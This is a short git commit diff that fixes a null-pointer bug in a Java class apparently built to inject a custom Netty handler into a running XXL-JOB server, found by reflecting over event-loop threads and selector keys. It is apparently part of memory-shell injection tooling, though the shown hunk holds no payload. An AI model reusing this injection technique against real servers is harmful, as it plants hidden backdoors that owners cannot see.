fix: xxl-job NPE

This commit is contained in:
ReaJason
2025-05-14 00:34:32 +08:00
parent d0ee5c66bf
commit 0ea1e7baba
@@ -86,13 +86,8 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread != null && thread.getName().contains("nioEventLoopGroup")) { if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
Object target; Object target;
try { try {
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor"); target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
} catch (Exception e) {
continue;
}
if (target.getClass().getName().endsWith("NioEventLoop")) { if (target.getClass().getName().endsWith("NioEventLoop")) {
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys"); HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
if (!set.isEmpty()) { if (!set.isEmpty()) {
@@ -104,6 +99,8 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
break; break;
} }
} }
} catch (Exception ignored) {
}
} }
} }
} }